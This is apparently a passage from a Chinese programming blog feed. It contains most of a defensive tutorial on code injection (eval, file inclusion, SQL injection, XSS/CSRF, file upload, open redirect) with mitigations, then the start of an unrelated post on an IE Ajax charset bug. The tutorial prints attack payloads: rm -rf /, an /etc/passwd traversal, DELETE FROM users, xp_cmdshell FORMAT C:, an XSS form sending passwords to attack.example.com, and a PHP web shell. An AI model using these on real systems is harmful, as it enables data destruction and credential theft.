<p>&#8220;<code>eval</code>&#8220;的参数将会视同PHP处理，所以额外的命令可被添加。例如：如果&#8221;arg&#8221;如果被设成&#8221;<code>10; system('rm -rf /')</code>&#8220;，后面的&#8221;<code>system('rm -rf /')</code>&#8220;代码将被运行，这等同在服务器上运行开发者意料外的程序。（关于rm -rf /，你懂的，可参看“<a title="一个空格引发的惨剧" href="https://coolshell.cn/articles/4875.html" target="_blank">一个空格引发的悲剧</a>”）</p>
<p>再来看一个PHP的代码</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$isadmin= false;
...
...
foreach ($_GET as $key =&gt; $value) {
  $$key = $value;
}</pre>
<p>如果攻击者在查询字符串中给定&#8221;isadmin=1&#8243;，那$isadmin将会被设为值 &#8220;1&#8221;，然后攻击值就取得了网站应用的admin权限了。</p>
<p>再来看一个PHP的示例：</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$action = &#039;login&#039;;
   if (__isset( $_GET[&#039;act&#039;] ) )
      $action = $_GET[&#039;act&#039;];
   require( $action . &#039;.php&#039; ); </pre>
<p>这个代码相当危险，攻击者有可能可以干这些事：</p>
<ul>
<li><code>/test.php?act=<strong>http://evil/exploit</strong></code> &#8211; 注入远程机器上有漏洞的文件。</li>
<li><code>/test.php?act=<strong>/home/www/bbs/upload/exploit</strong></code> &#8211; 从一个已经上载、叫做exploit.php文件运行其代码。</li>
<li><code>/test.php?act=<strong>../../../../etc/passwd%00</strong></code> &#8211; 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除<code>.php</code>扩展名限制，允许访问其他非 .php 结尾文件。 (PHP默认值&#8221;magic_quotes_gpc = On&#8221;可以终止这种攻击)</li>
</ul>
<p>这样的示例有很多，只要你的程序有诸如：<code>system()</code>、<code>StartProcess()</code>、<code>java.lang.Runtime.exec()</code>、<code>System.Diagnostics.Process.Start()</code>以及类似的应用程序接口，都是比较危险的，最好不要让其中的字符串去拼装用户的输入。</p>
<p>PHP提供<code><a href="http://www.php.net/manual/en/function.escapeshellarg.php" rel="nofollow">escapeshellarg()</a></code>和<code><a href="http://www.php.net/manual/en/function.escapeshellcmd.php" rel="nofollow">escapeshellcmd()</a></code>以在调用方法以前进行编码。然而，实际上并不建议相信这些方法是安全的 。</p>
<h4>SQL注入</h4>
<p>SQL injection，是发生于应用程序之数据库层的安全漏洞。简而言之，是在输入的字符串之中注入SQL指令，在设计不良的程序当中忽略了检查，那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行，因此遭到破坏。</p>
<p>在应用程序中若有下列状况，则可能应用程序正暴露在SQL Injection的高风险情况下：</p>
<ol>
<li>在应用程序中使用字符串联结方式组合SQL指令（如：引号没有转义）。</li>
<li>在应用程序链接数据库时使用权限过大的帐户（如：很多开发人员都喜欢用sa（最高权限的系统管理员帐户）连接Microsoft SQL Server数据库）。</li>
<li>在数据库中开放了不必要但权力过大的功能（例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等）</li>
<li>过于信任用户所输入的数据，未限制输入的字符数，以及未对用户输入的数据做潜在指令的检查。</li>
</ol>
<p>例程：</p>
<p>某个网站的登录验证的SQL查询代码为</p>
<div dir="ltr">
<div>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">strSQL = &quot;SELECT * FROM users
WHERE (name = &#039;&quot; + userName + &quot;&#039;) and (pw = &#039;&quot;+ passWord +&quot;&#039;);&quot;</pre>
</div>
</div>
<p>用户在登录时恶意输入如下的的用户名和口令：</p>
<div dir="ltr">
<div><code data-enlighter-language="sql" class="EnlighterJSRAW">userName = &quot;&#039; OR &#039;1&#039;=&#039;1&quot;;</code></p>
</div>
</div>
<div dir="ltr">
<div><code data-enlighter-language="sql" class="EnlighterJSRAW">passWord = &quot;&#039; OR &#039;1&#039;=&#039;1&quot;;</code></p>
</div>
</div>
<p>此时，将导致原本的SQL字符串被解析为：</p>
<div dir="ltr">
<div>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">strSQL = &quot;SELECT * FROM users
WHERE (name = &#039;&#039; OR &#039;1&#039;=&#039;1&#039;) and (pw = &#039;&#039; OR &#039;1&#039;=&#039;1&#039;);&quot;</pre>
</div>
</div>
<p>也就是实际上运行的SQL命令会变成下面这样的，因此导致无帐号密码，也可登录网站。</p>
<div dir="ltr">
<div><code data-enlighter-language="sql" class="EnlighterJSRAW">strSQL = &quot;SELECT * FROM users;&quot;</code></p>
</div>
</div>
<p>这还不算恶劣的，真正恶劣的是在你的语句后再加一个自己的语句，如：</p>
<p><code data-enlighter-language="sql" class="EnlighterJSRAW">username= &quot;&#039; ; DELETE FROM users; --&quot;;</code></p>
<p>这样一来，要么整个数据库的表被人盗走，要么被数据库被删除。</p>
<p><strong>所以SQL注入攻击被俗称为黑客的填空游戏</strong>。你是否还记得酷壳<a title="千万别惹程序员" href="https://coolshell.cn/articles/6639.html" target="_blank">这篇文章里的SQL注入</a>？</p>
<p><img decoding="async" loading="lazy" class="aligncenter" title="SQL-injection-attack(adjusted)" src="https://coolshell.cn//wp-content/uploads/2012/02/SQL-injection-attackadjusted.jpg" alt="" width="600" height="407" /></p>
<p>当他们发现一个网站有SQL注入的时候，他们一般会干下面的事：</p>
<ul>
<li>盗取数据表中的数据，例如个人机密数据（信用卡，身份证，手机号，通讯录……），帐户数据，密码等，获得用户的数据和信息后对这些用户进行“社会工程学”活动（如：<a title="为什么不能用微信或米聊这类的软件" href="https://coolshell.cn/articles/8638.html" target="_blank">我前两天在微信上亲身经历</a>）。</li>
</ul>
<ul>
<li>取得系统管理员权限（例如ALTER LOGIN sa WITH PASSWORD=&#8217;xxxxxx&#8217;）。</li>
</ul>
<ul>
<li>在数据库中的数据中插入一些HTML/JS代码，有可能得以在网页加入恶意链接以及XSS，这样一来就让访问者被黑。</li>
</ul>
<ul>
<li>经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统（例如：MS SQL Server的 xp_cmdshell &#8220;net stop iisadmin&#8221;可停止服务器的IIS服务）。甚至破坏硬盘数据，瘫痪全系统（例如xp_cmdshell &#8220;FORMAT C:&#8221;）。</li>
</ul>
<div>现在的黑客比较坏，瘫痪系统的事，他们干的越来越少，因为没什么利益，他们希望通过获取用户的帐号信息后，转而攻击用户别的帐号，如游戏帐号，网银帐号，QQ帐号等等他们可以获利的事情（这就是为什么我希望大家<a title="如何管理并设计你的口令" href="https://coolshell.cn/articles/2428.html" target="_blank">在不站点上使用不同的口令</a>，甚至不同的用户信息的原因）</div>
<p><strong>如何避免</strong></p>
<ul>
<li>在组合SQL字符串时，先针对所传入的参数作字符转义（如：将单引号字符取代为连续2个单引号字符）。如果使用PHP开发网页程序的话，亦可打开PHP的Magic quote功能自动将所有的网页传入参数，将单引号字符取代为连续2个单引号字符。<strong>如果可能应该过滤以下字符：分号“;”，两个减号“&#8211;”，单引号“&#8217;”，注释“/* &#8230; */”</strong>。（当然，因为注入攻击一般用闭合的引号来玩，所以把引号转义了应该就没有什么问题了）</li>
</ul>
<ul>
<li>更换危险字符。例如在PHP通过<code>addslashes()</code>函数保护SQL注入。</li>
</ul>
<ul>
<li>限制用户输入的长度，限制用户输入的取值范围。</li>
</ul>
<ul>
<li>为当前应用建立权限比较小的数据库用户，这样不会导致数据库管理员丢失。</li>
</ul>
<ul>
<li>把数据库操作封装成一个Service，对于敏感数据，对于每个客户端的IP，在一定时间内每次只返回一条记录。这样可以避免被拖库。</li>
</ul>
<h4></h4>
<h4>跨网站脚本注 入</h4>
<p><strong>跨网站脚本</strong>（<strong>Cross-site</strong> scripting，通常简称为XSS或跨站脚本或跨站脚本攻击）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java， VBScript， ActiveX， Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。</p>
<p>假如我们有这样一段PHP的代码：</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$username = $_GET[&#039;username&#039;];
echo &#039;&lt;div&gt; Welcome, &#039; . $username . &#039;&lt;/div&gt;&#039;;</pre>
<p>那么我们可以这样来注入：</p>
<div style="color: #1b00aa; background-color: #efefef; border: 1px solid #DDE2F5; font-size: 90%; padding: 10px;">http://trustedSite.example.com/welcome.php?username=&lt;Script Language=&#8221;Javascript&#8221;&gt;alert(&#8220;You&#8217;ve been attacked!&#8221;);&lt;/Script&gt;</div>
<p>甚至这样：</p>
<div style="color: #1b00aa; background-color: #efefef; border: 1px solid #DDE2F5; font-size: 90%; padding: 10px;">http://trustedSite.example.com/welcome.php?username=&lt;div id=&#8221;stealPassword&#8221;&gt;Please Login:&lt;form name=&#8221;input&#8221; action=&#8221;http://attack.example.com/stealPassword.php&#8221; method=&#8221;post&#8221;&gt;Username: &lt;input type=&#8221;text&#8221; name=&#8221;username&#8221; /&gt;&lt;br/&gt;Password: &lt;input type=&#8221;password&#8221; name=&#8221;password&#8221; /&gt;&lt;input type=&#8221;submit&#8221; value=&#8221;Login&#8221; /&gt;&lt;/form&gt;&lt;/div&gt;</div>
<p>这会让网页显示以下内容：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">
&lt;div class=&quot;header&quot;&gt; Welcome,
    &lt;div id=&quot;stealPassword&quot;&gt;Please Login:
        &lt;form name=&quot;input&quot; action=&quot;attack.example.com/stealPassword.php&quot; method=&quot;post&quot;&gt;
            Username: &lt;input type=&quot;text&quot; name=&quot;username&quot; /&gt;
            &lt;br/&gt;
            Password: &lt;input type=&quot;password&quot; name=&quot;password&quot; /&gt;
            &lt;input type=&quot;submit&quot; value=&quot;Login&quot; /&gt;
        &lt;/form&gt;
    &lt;/div&gt;
&lt;/div&gt;
</pre>
<p>注入的代码还有可能变种为如下这种更为隐蔽的方式(unicode码)：</p>
<div style="color: #1b00aa; background-color: #efefef; border: 1px solid #DDE2F5; font-size: 90%; padding: 10px;">
<div>trustedSite.example.com/welcome.php?username=&lt;script+type=&#8221;text/javascript&#8221;&gt;</div>
<div>document.write(&#8216;\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073</div>
<div>\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064</div>
<div>\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067</div>
<div>\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D</div>
<div>\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063</div>
<div>\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F</div>
<div>\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D</div>
<div>\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061</div>
<div>\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068</div>
<div>\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070</div>
<div>\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D</div>
<div>\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079</div>
<div>\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061</div>
<div>\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065</div>
<div>\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073</div>
<div>\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075</div>
<div>\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073</div>
<div>\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022</div>
<div>\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E</div>
<div>\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D</div>
<div>\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C</div>
<div>\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F</div>
<div>\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D&#8217;);&lt;/script&gt;</div>
</div>
<p><strong>XSS的攻击主要是通过一段JS程序得用用户已登录的cookie去模拟用户的操作（甚至偷用户的cookie）</strong>。这个方式可以让用户在自己不知情的情况下操作了自己不期望的操作。如果是网站的管理员中招，还有可能导致后台管理权限被盗。关于其中的一些细节可以参看《<a title="新浪微博的XSS攻击" href="https://coolshell.cn/articles/4914.html" target="_blank">新浪微博的XSS攻击</a>》一文。XSS攻击是程序员有一糊涂就很容易犯的错误，你还可以看看网上的《<a href="http://www.cnblogs.com/kingthy/archive/2011/08/20/2147355.html" target="_blank">腾讯微博的XSS攻击</a>》。</p>
<p>XSS攻击在论坛的用户签档里面（使用img标签）也发生过很多次，包括像一些使用bcode的网站，很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。</p>
<p>不要以为XSS攻击是我们的程序没有写好，有时候，我们会引用别人站点上的js文件，比如：放一个天气预报的小Widget的js，或是一个流量监控，或是一段广告的js文件。你不知道这些东西是不是有问题，如果有恶意的话，这就是你自己主动注入攻击代码了。</p>
<p><strong>另外，XSS攻击有一部分是和浏览器有关的。</strong>比如，如下的一些例子，你可能从来都没有想过吧？（<strong>更多的例子可以参看酷壳很早以前的这篇文章《<a href="https://coolshell.cn/articles/2416.html" target="_blank">浏览器HTML安全列表</a>》</strong>）</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">&lt;table background=”javascript:alert(1)”&gt;

&lt;meta charset=”mac-farsi”&gt;¼script¾alert(1)¼/script¾

&lt;img src=”javascript:alert(1)”&gt;</pre>
<p>XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接，通过使用用户在B站点上的登录且还没有过期的cookie，从而使得用户的B站点被攻击。（这得益于现在的多Tab页的浏览器，大家都会同时打开并登录很多的网站，而这些不同网站的页面间的cookie又是共享的）</p>
<p>于是，如果我在A站点内的某个贴子内注入这么一段代码：</p>
<p><code data-enlighter-language="html" class="EnlighterJSRAW">&lt;img src=&quot;http://bank.example.com/transfer?account=XXX&amp;amount=1000000&amp;for=haoel&quot;&gt;</code></p>
<p>很有可能你就在访问A站的这个贴子时，你的网银可能向我转了一些钱。</p>
<p><strong>如何避免</strong></p>
<p>要防止XSS攻击，一般来说有下面几种手段：</p>
<ul>
<li>严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。</li>
</ul>
<ul>
<li>严格过滤用户的输入。如：
<ul>
<li>PHP的<code>htmlentities()或是htmlspecialchars()或是strip_tags()</code>。</li>
<li>Python的<code>cgi.escape()</code></li>
<li>ASP的<code>Server.HTMLEncode()</code>。</li>
<li>Node.js的node-validator。</li>
<li>Java的<a href="http://code.google.com/p/xssprotect/" rel="nofollow">xssprotect</a>。</li>
</ul>
</li>
</ul>
<ul>
<li>在一些关键功能，完全不能信任cookie，必需要用户输入口令。如：修改口令，支付，修改电子邮件，查看用户的敏感信息等等。</li>
</ul>
<ul>
<li>限制cookie的过期时间。</li>
</ul>
<ul>
<li>对于CSRF攻击，一是需要检查http的reference header。二是不要使用GET方法来改变数据，三是对于要提交的表单，后台动态生成一个随机的token，这个token是攻击者很难伪造的。（对于token的生成，建议找一些成熟的lib库）</li>
</ul>
<p>另外，你可能觉得网站在处理用户的表单提交就行了，其实不是，<strong>想一想那些Web Mail，我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱，你打开一看，你就中招了</strong>。所以，WebMail一般都禁止显示图片和附件，这些都很危险，只有你完全了解来源的情况下才能打开。<strong>电子邮件的SMTP协议太差了，基本上无法校验其它邮件服务器的可信度，我甚至可以自己建一个本机的邮件服务器，想用谁的邮件地址发信就用谁的邮件地址发信</strong>。<span style="color: #cc0000;"><strong>所以，我再次真诚地告诉大家，请用gmail邮箱</strong></span>。别再跟我说什么QQMail之类的好用了。</p>
<h4>上传文件</h4>
<p>上传文件是一个很危险的功能，尤其是你如果不校验上传文件的类型的话，你可能会中很多很多的招，这种攻击相当狠。<strong>试想，如果用户上传给你一个PHP、ASP、JSP的文件，当有人访问这个文件时，你的服务器会解释执行之，这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。</strong></p>
<p>举个例子：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">&lt;form action=&quot;upload_picture.php&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
要上传的文件:
&lt;input type=&quot;file&quot; name=&quot;filename&quot;/&gt;
&lt;br/&gt;
&lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;/&gt;
&lt;/form&gt;
</pre>
<p>&nbsp;</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$target = &quot;pictures/&quot; . basename($_FILES[&#039;uploadedfile&#039;][&#039;name&#039;]);
if(move_uploaded_file($_FILES[&#039;uploadedfile&#039;][&#039;tmp_name&#039;], $target)){
    echo &quot;图片文件上传成功&quot;;
}else{&lt;/div&gt;
    echo &quot;图片文件上传失败&quot;;
}</pre>
<p>假如我上传了一个PHP文件如下：</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">&lt;?php
system($_GET[&#039;cmd&#039;]);
?&gt;</pre>
<p>那么，我就可以通过如下的URL访问攻击你的网站了：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l</code></p>
<p>抵御这样的攻击有两种手段：</p>
<p>1）限制上传文件的文件扩展名。</p>
<p>2）千万不要使用root或Administrator来运行你的Web应用。</p>
<h4>URL跳转</h4>
<p>URL跳转很有可能会成为攻击利用的工具。</p>
<p>比如下面的PHP代码：</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$redirect_url = $_GET[&#039;url&#039;];
header(&quot;Location: &quot; . $redirect_url);</pre>
<p>这样的代码可能很常见，比如当用户在访问你的网站某个页观的时候没有权限，于是你的网站跳转到登录页面，当然登录完成后又跳转回刚才他访问的那个页面。一般来说，我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。</p>
<p>于是我们就可以通过下面的URL，跳转到一个恶意网站上，而那个网站上可能有一段CSRF的代码在等着你，或是一个钓鱼网站。</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">http://bank.example.com/redirect?url=http://attacker.example.net</code></p>
<p>这种攻击具有的迷惑性在于，用户看到的http://bank.example.com，<strong>以为是一个合法网站，于是就点了这个链接，结果通过这个合法网站，把用户带到了一个恶意网站，而这个恶意网站上可能把页面做得跟这个合法网站一模一样，你还以为访问的是正确的地方，结果就被钓鱼了</strong>。</p>
<p>解决这个问题很简单，你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。</p>
<p>你可以看看Google和Baidu搜索引擎的链接跳转，百度的跳转链接是被加密过的，而Google的网站链接很长，里面有网站的明文，但是会有几个加密过的参数，如果你把那些参数移除掉，Google会显示一个重定向的提醒页面。（我个人觉得还是Google做得好）</p>
<p>（本篇文章结束）</p>
<p>这段时间工作和家里的事比较多，所以时间有限，更新不快，而此篇行文比较仓促，欢迎大家补充，并指出我文中的问题。<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/11021.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png" alt="从“黑掉Github”学Web安全开发" width="150" height="150" /></a><a href="https://coolshell.cn/articles/11021.html" class="wp_rp_title">从“黑掉Github”学Web安全开发</a></li><li ><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="Web开发中需要了解的东西" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_title">Web开发中需要了解的东西</a></li><li ><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg" alt="如何设计“找回用户帐号”功能" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_title">如何设计“找回用户帐号”功能</a></li><li ><a href="https://coolshell.cn/articles/5353.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg" alt="你会做Web上的用户登录功能吗？" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5353.html" class="wp_rp_title">你会做Web上的用户登录功能吗？</a></li><li ><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png" alt="网络数字身份认证术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_title">网络数字身份认证术</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/8711.html">程序员疫苗：代码注入</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/8711.html/feed</wfw:commentRss>
			<slash:comments>63</slash:comments>
		
		
			</item>
		<item>
		<title>一次Ajax查错的经历</title>
		<link>https://coolshell.cn/articles/8170.html</link>
					<comments>https://coolshell.cn/articles/8170.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Mon, 27 Aug 2012 06:56:59 +0000</pubDate>
				<category><![CDATA[Ajax开发]]></category>
		<category><![CDATA[Web开发]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Programmer]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[程序员]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=8170</guid>

					<description><![CDATA[<p>先说故事，再说想法吧。 我有一朋友做网站，用jQuery的Ajax方法从后端载入一段HTML代码然后动态插入到网页的Div元件中。这个东西太普遍了。jQuery...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/8170.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/8170.html">一次Ajax查错的经历</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>先说故事，再说想法吧。</p>
<p>我有一朋友做网站，用jQuery的Ajax方法从后端载入一段HTML代码然后动态插入到网页的Div元件中。这个东西太普遍了。jQuery强大的load方法可以完成这个事情。朋友的代码是这么写的：</p>
<p>[javascript]var tab = jQuery(&quot;#dynamic_tab&quot;);<br />
var url = &quot;/list_ajax/&quot;;<br />
tab.load(url);[/javascript]</p>
<p>简单到不能再简单了。在Chrome，Firefox，Safari下运行一点问题也没有，只有IE不行，不管是IE7，IE8，还是IE9。问题的症壮是，使用IE访问那个Ajax的链接，没有问题，但是在jQuery的Ajax方法返回了“undefined”的respons对象。没有任何报错！</p>
<p>怎么搞也搞不定，只好Google了一下——“<a href="https://www.google.com/#hl=zh-CN&amp;newwindow=1&amp;site=&amp;source=hp&amp;q=jQuery+load+IE&amp;btnK=Google+%E6%90%9C%E7%B4%A2&amp;oq=jQuery+load+IE" target="_blank">jQuery load IE</a>”，一看，很多人都在问这个问题。于是开始了<a title="各种流行的编程风格" href="https://coolshell.cn/articles/2058.html" target="_blank">散弹枪编程方式</a>。</p>
<p>排在第一的就是StackOverflow被浏览了33K次的这个问题：<a href="http://stackoverflow.com/questions/1061525/jquerys-load-not-working-in-ie-but-fine-in-firefox-chrome-and-safari" target="_blank">jQuery&#8217;s .load() not working in IE &#8211; but fine in Firefox, Chrome and Safari</a>，答案没有被打勾（不靠谱），StackOverflow还有很多人问相似的问题，不过都没有答案。不管三七二十一，先试了一下，散弹枪嘛。试了半天都没有用。</p>
<p>然后上Google查，又看到有人说的IE缓存的问题，什么，要把cache设置成false，或是用下面的方法来解决：</p>
<p>[javascript]var tab = jQuery(&quot;#dynamic_tab&quot;);<br />
var fuckie = Math.random();<br />
var url = &quot;/list_ajax/&quot;+&quot;?fuckie=&quot;+fuckie;<br />
tab.load(url);[/javascript]</p>
<p>反正还是一样，统统不Work，几乎所有的都试了，都不Work。搞了一天的朋友恼怒道：“Microsoft应该快点倒闭吧，产品太烂了”。IE的确是太烂了。</p>
<p><span id="more-8170"></span></p>
<p>于是我用IE9的网页调试器可以看到点了Ajax的链接后，<strong>IE对网站有http的Ajax请求，也可以看到请求返回了，但是就是不显示在我的页面上——jQuery的Ajax的responseText为undefined!</strong></p>
<p>对于我这个老家伙，对jQuery也不熟，我只得开始调试jQuery的代码，想看看里面干了什么，报了什么错？调了一个小时，基本上把jQuery的Ajax的封装看懂了七七八八了，但是还是没找到为什么有问题。</p>
<p>于是，我只得架起原生态的Ajax，看看IE的那个Ajax的ActiveX的对象干了什么事？写了下面的代码（当年写Ajax就是这么写的，所以也不费劲，况且网上还有例程可以抄）：</p>
<p>[javascript]<br />
function InitAjax()<br />
{<br />
    var ajax=false;<br />
    try {<br />
        ajax = new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;);<br />
    } catch (e) {<br />
        try {<br />
            ajax = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);<br />
        } catch (E) {<br />
            ajax = false;<br />
        }<br />
    }<br />
    if (!ajax &amp;&amp; typeof XMLHttpRequest!=&#8217;undefined&#8217;) {<br />
        ajax = new XMLHttpRequest();<br />
    }<br />
    return ajax;<br />
}</p>
<p>var ajax = InitAjax();<br />
ajax.open(&quot;GET&quot;, url, true);<br />
ajax.onreadystatechange = function() {<br />
    if (ajax.readyState == 4 &amp;&amp; ajax.status == 200) {<br />
        var show = document.getElementById(&quot;HaoChenDIV&quot;).value;<br />
        show.innerHTML = ajax.responseText;<br />
    }<br />
}<br />
ajax.send(null);<br />
[/javascript]</p>
<p>一运行，还是不行，没见IE报什么错，不过，可以确定这不是jQuery的问题了，估计还是我们自己程序的问题。不过此时的程序太好调试了，调试中，在IE9下调式发现原生的IE的Ajax对象在onreadystatechange函数里，其responseText是下面这个样子：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-8171" title="ajax error in ie" src="https://coolshell.cn/wp-content/uploads/2012/08/ajax_error.jpg" alt="" width="601" height="153" srcset="https://coolshell.cn/wp-content/uploads/2012/08/ajax_error.jpg 601w, https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-300x76.jpg 300w" sizes="(max-width: 601px) 100vw, 601px" /></p>
<p>什么是“<strong>系统错误: -1072896658</strong>”？上<a href="https://www.google.com/#hl=zh-CN&amp;newwindow=1&amp;q=ajax+%22%E7%B3%BB%E7%BB%9F%E9%94%99%E8%AF%AF:+-1072896658%22&amp;oq=ajax+%22%E7%B3%BB%E7%BB%9F%E9%94%99%E8%AF%AF:+-1072896658%22" target="_blank">google一查</a>，一堆页面，基本上是说乱码了，也就是ajax的后端程序返回的网页编码不认识吧。需要在返回的http header里加上 charset=utf-8。</p>
<p>于是，修改后端的Ajax的程序，明确指定了返回的HTTP Header中的charset，于是IE下就工作正常了，再切回jQuery的load代码，一切正常了（后端的程序本来是utf-8的编码格式，但是不骨明确在HTTP Header中指定，但是只有IE不会自动检测）。</p>
<p>这个问题的原因就是因为我们没有按照规范去写网页。所以，举一反三，HTML的规范还有哪些，太多了，记也记不住。但也许你会知道<strong>有一个叫 <a href="http://validator.w3.org" target="_blank">http://validator.w3.org</a> 的网站可以帮你校验你网页中的很多不规范的东西</strong>。这个工具会报很多很多错，很多都有点吹毛求疵，不过，可以让你看看（注：今天的coolshell装了很多插件，也被我调过一些东西，所以出错很多，我还记得以前没有插件没有我定制化的样式的时候，Wordpress一个错都不报）。</p>
<h4>后记</h4>
<p>我把这个问题和过程分享出来，主要有这么几个目的，并抛出几个问题，大家可以思考一下：</p>
